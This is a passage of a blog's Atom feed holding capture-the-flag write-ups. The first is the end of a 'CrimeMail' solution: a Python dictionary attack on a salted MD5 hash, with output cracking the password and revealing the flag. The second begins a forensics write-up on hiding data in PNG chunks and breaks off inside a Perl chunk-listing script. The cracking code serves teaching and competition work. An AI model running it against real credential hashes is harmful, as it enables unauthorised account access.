&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; compute the md5 hash of word+salt
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;computed_md5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;hashlib&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;md5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;to_be_hashed&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;hexdigest&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; if it&amp;#39;s the same hash
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-statement z-conditional z-if z-python&quot;&gt;&lt;span class=&quot;z-keyword z-control z-conditional z-if z-python&quot;&gt;if&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;computed_md5&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-comparison z-python&quot;&gt;==&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;md5_to_crack&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-block z-conditional z-if z-python&quot;&gt;:&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;                &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;Password cracked! It&amp;#39;s &lt;span class=&quot;z-constant z-other z-placeholder z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-begin z-python&quot;&gt;{&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-placeholder z-end z-python&quot;&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;format&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;                &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;sys&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;exit&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-comment z-line z-number-sign z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-python&quot;&gt;#&lt;&#x2F;span&gt; read next word
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;count&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-augmented z-python&quot;&gt;+=&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-python&quot;&gt;1&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;            &lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;word&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-assignment z-python&quot;&gt;=&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;f&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-accessor z-dot z-python&quot;&gt;.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-meta z-generic-name z-python&quot;&gt;readline&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;    &lt;span class=&quot;z-meta z-function-call z-python&quot;&gt;&lt;span class=&quot;z-meta z-qualified-name z-python&quot;&gt;&lt;span class=&quot;z-variable z-function z-python&quot;&gt;&lt;span class=&quot;z-support z-function z-builtin z-python&quot;&gt;print&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-begin z-python&quot;&gt;(&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-string z-python&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-python&quot;&gt;Nothing found :(&lt;span class=&quot;z-punctuation z-definition z-string z-end z-python&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-arguments z-end z-python&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-python&quot;&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;And now, calling it with the two hashes we retrieved:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;sh&quot; class=&quot;language-sh z-code&quot;&gt;&lt;code class=&quot;language-sh&quot; data-lang=&quot;sh&quot;&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;$&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; .&#x2F;cracker.py &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;yhbG&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-string z-quoted z-double z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;f2b31b3a7a7c41093321d0c98c37f5ad&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; dictionary  &lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;We&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;re at the word n°1000  
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;We&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; at the word n°2000  &lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;We&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;re at the word n°3000  
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;...  
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;We&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;re&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; at the word n°35000  &lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;We&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;re at the word n°36000  
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-shell z-bash&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-shell&quot;&gt;&lt;span class=&quot;z-variable z-function z-shell&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-shell&quot;&gt;Password cracked! It&lt;span class=&quot;z-punctuation z-definition z-string z-end z-shell&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;s&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-function-call z-arguments z-shell&quot;&gt; pizza  &lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Boom! The password is here, &lt;strong&gt;pizza&lt;&#x2F;strong&gt;. Congratulations, logging-in with these infos displays an email where Collins is telling a friend of his to meet him at INSHACK{s3cr3t_l0ca1i0n}. There’s your flag!&lt;&#x2F;p&gt;
&lt;p&gt;I was very pleased by how the challenge was received, we did a little feedback challenge towards the end of the CTF and CrimeMail was doing pretty well, even considered the best challenge of the CTF by some (I wouldn’t go that far.. :p). So big thanks to the participating teams and as always, don’t hesistate to contact me with any feedback or questions you may have.&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>INS&#x27;HACK 2017: Hiding In Plain Sight (forensics, 100)</title>
        <published>2017-04-17T00:00:00+00:00</published>
        <updated>2017-04-17T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Yassine Zouggari
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://zoug.fr/inshack-2017-png-payload/"/>
        <id>https://zoug.fr/inshack-2017-png-payload/</id>
        
        <content type="html" xml:base="https://zoug.fr/inshack-2017-png-payload/">&lt;p&gt;&lt;a href=&quot;http:&#x2F;&#x2F;inshack.insecurity-insa.fr&#x2F;&quot;&gt;INS’HACK&lt;&#x2F;a&gt; is a series of conferences about computer security and a CTF held on-site (up until midnight, then open on the internet for another day). And as a member of &lt;a href=&quot;http:&#x2F;&#x2F;insecurity-insa.fr&#x2F;&quot;&gt;InSecurity&lt;&#x2F;a&gt;, the cybersecurity club of my school (INSA Lyon), I got to join the organizing team putting the event together, and write one of the challenges of the CTF. And if you guys wonder if the event was cool, I have one answer for you:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2017-png-payload&#x2F;pizzas-inshack-2017.webp&quot; alt=&quot;yes, that’s 80 pizzas&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;All the source files and exploits for all the challenges are available on the &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2017&#x2F;&quot;&gt;official repo&lt;&#x2F;a&gt;, with a writeup for each task! I’ll be focusing here on my chall, “Hiding In Plain Sight” (forensics). We’re given the following PNG file:&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;zoug.fr&#x2F;inshack-2017-png-payload&#x2F;challenge-inshack-2017.png&quot; alt=&quot;evil salad&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Cool salad, heh? The description of the challenge reads: “Your smart-plate has an embedded camera that takes pictures of your meals and automatically uploads them to your Instagram. However you fear it has been compromised and is quietly sharing information with all your followers”. We hence need to find stuff hidden inside the file.&lt;&#x2F;p&gt;
&lt;p&gt;If you want a short and to-the-point explanation on how to solve this, &lt;a href=&quot;https:&#x2F;&#x2F;github.com&#x2F;HugoDelval&#x2F;inshack-2017&#x2F;blob&#x2F;master&#x2F;challenges&#x2F;forensics&#x2F;hiding-in-plain-sight-100&#x2F;writeup.md&quot;&gt;go here&lt;&#x2F;a&gt;. This post will be a little more detailed!&lt;&#x2F;p&gt;
&lt;p&gt;So, how would one go about hiding a payload inside a PNG file? First, let’s take a look at the structure of a PNG file. According to the &lt;a href=&quot;http:&#x2F;&#x2F;www.libpng.org&#x2F;pub&#x2F;png&#x2F;spec&#x2F;1.2&#x2F;PNG-Structure.html&quot;&gt;specification&lt;&#x2F;a&gt;, a typical PNG file starts with the following 8 bytes (in decimal):&lt;&#x2F;p&gt;
&lt;pre class=&quot;z-code&quot;&gt;&lt;code&gt;&lt;span class=&quot;z-text z-plain&quot;&gt;137 80 78 71 13 10 26 10
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;That’s the file’s signature, the second to fourth byte are the ASCII values of “PNG”. This is followed by a series of &lt;strong&gt;chunks&lt;&#x2F;strong&gt;, i.e. fields containing the metadata of the file, the data itself, or anything really.&lt;&#x2F;p&gt;
&lt;p&gt;This is why PNG is really a great format if you want to hide stuff inside a file: just add a chunk, nobody will notice! All chunks follow the same basic structure: the &lt;strong&gt;length&lt;&#x2F;strong&gt; of the data, the &lt;strong&gt;type&lt;&#x2F;strong&gt; of the chunk, the &lt;strong&gt;data&lt;&#x2F;strong&gt; and finally a 4-byte &lt;strong&gt;CRC&lt;&#x2F;strong&gt; (checksum of the data).&lt;&#x2F;p&gt;
&lt;p&gt;However you need to be careful to start the file with an &lt;strong&gt;IHDR&lt;&#x2F;strong&gt; type chunk (Image HeaDeR), and end it with an &lt;strong&gt;IEND&lt;&#x2F;strong&gt; type chunk. The IHDR contains info about the image, like its width of height, etc (more info &lt;a href=&quot;http:&#x2F;&#x2F;www.libpng.org&#x2F;pub&#x2F;png&#x2F;spec&#x2F;1.2&#x2F;PNG-Chunks.html#C.IHDR&quot;&gt;here&lt;&#x2F;a&gt;), and the IEND just marks the end of the file (its length is always 0, no data).&lt;&#x2F;p&gt;
&lt;p&gt;We now have a pretty good understanding of the internal structure of a PNG file. So let’s try and list the chunks the PNG file above has, to see if there’s anything interesting. The following Perl code does just that:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;perl&quot; class=&quot;language-perl z-code&quot;&gt;&lt;code class=&quot;language-perl&quot; data-lang=&quot;perl&quot;&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt;!&#x2F;usr&#x2F;bin&#x2F;env perl
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;##&lt;&#x2F;span&gt; zoug.me
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; list the chunks inside a PNG file
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-preprocessor z-use z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-use z-perl&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-namespace z-perl&quot;&gt;autodie&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-preprocessor z-use z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-use z-perl&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-namespace z-perl&quot;&gt;strict&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-preprocessor z-use z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-use z-perl&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-entity z-name z-namespace z-perl&quot;&gt;warnings&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-preprocessor z-use z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-import z-use z-perl&quot;&gt;use&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-version z-perl&quot;&gt;5&lt;span class=&quot;z-punctuation z-separator z-decimal z-perl&quot;&gt;.&lt;&#x2F;span&gt;010&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-comment z-perl&quot;&gt;&lt;span class=&quot;z-comment z-line z-number-sign z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-comment z-perl&quot;&gt;#&lt;&#x2F;span&gt; open the file if specified, otherwise print usage
&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-keyword z-control z-flow z-die z-perl&quot;&gt;die&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-double z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;Usage: .&#x2F;list-chunks.pl input.png&lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-control z-conditional z-unless z-perl&quot;&gt;unless&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-language z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;@&lt;&#x2F;span&gt;ARGV&lt;&#x2F;span&gt; &lt;span class=&quot;z-keyword z-operator z-comparison z-perl&quot;&gt;==&lt;&#x2F;span&gt; &lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;1&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement z-perl&quot;&gt;;&lt;&#x2F;span&gt;
&lt;&#x2F;span&gt;&lt;span class=&quot;z-source z-perl&quot;&gt;&lt;span class=&quot;z-meta z-function-call z-perl&quot;&gt;&lt;span class=&quot;z-support z-function z-perl&quot;&gt;open&lt;&#x2F;span&gt;&lt;&#x2F;span&gt; &lt;span class=&quot;z-storage z-type z-variable z-perl&quot;&gt;my&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-other z-readwrite z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;in&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-meta z-string z-perl&quot;&gt;&lt;span class=&quot;z-string z-quoted z-single z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-string z-begin z-perl&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&amp;lt;:raw&lt;span class=&quot;z-punctuation z-definition z-string z-end z-perl&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-separator z-sequence z-perl&quot;&gt;,&lt;&#x2F;span&gt; &lt;span class=&quot;z-variable z-language z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-definition z-variable z-perl&quot;&gt;$&lt;&#x2F;span&gt;ARGV&lt;&#x2F;span&gt;&lt;span class=&quot;z-meta z-item-access z-perl&quot;&gt;&lt;span class=&quot;z-punctuation z-section z-item-access z-begin z-perl&quot;&gt;[&lt;&#x2F;span&gt;&lt;span class=&quot;z-constant z-numeric z-integer z-decimal z-perl&quot;&gt;0&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-section z-item-access z-end z-perl&quot;&gt;]&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;z-punctuation z-terminator z-statement 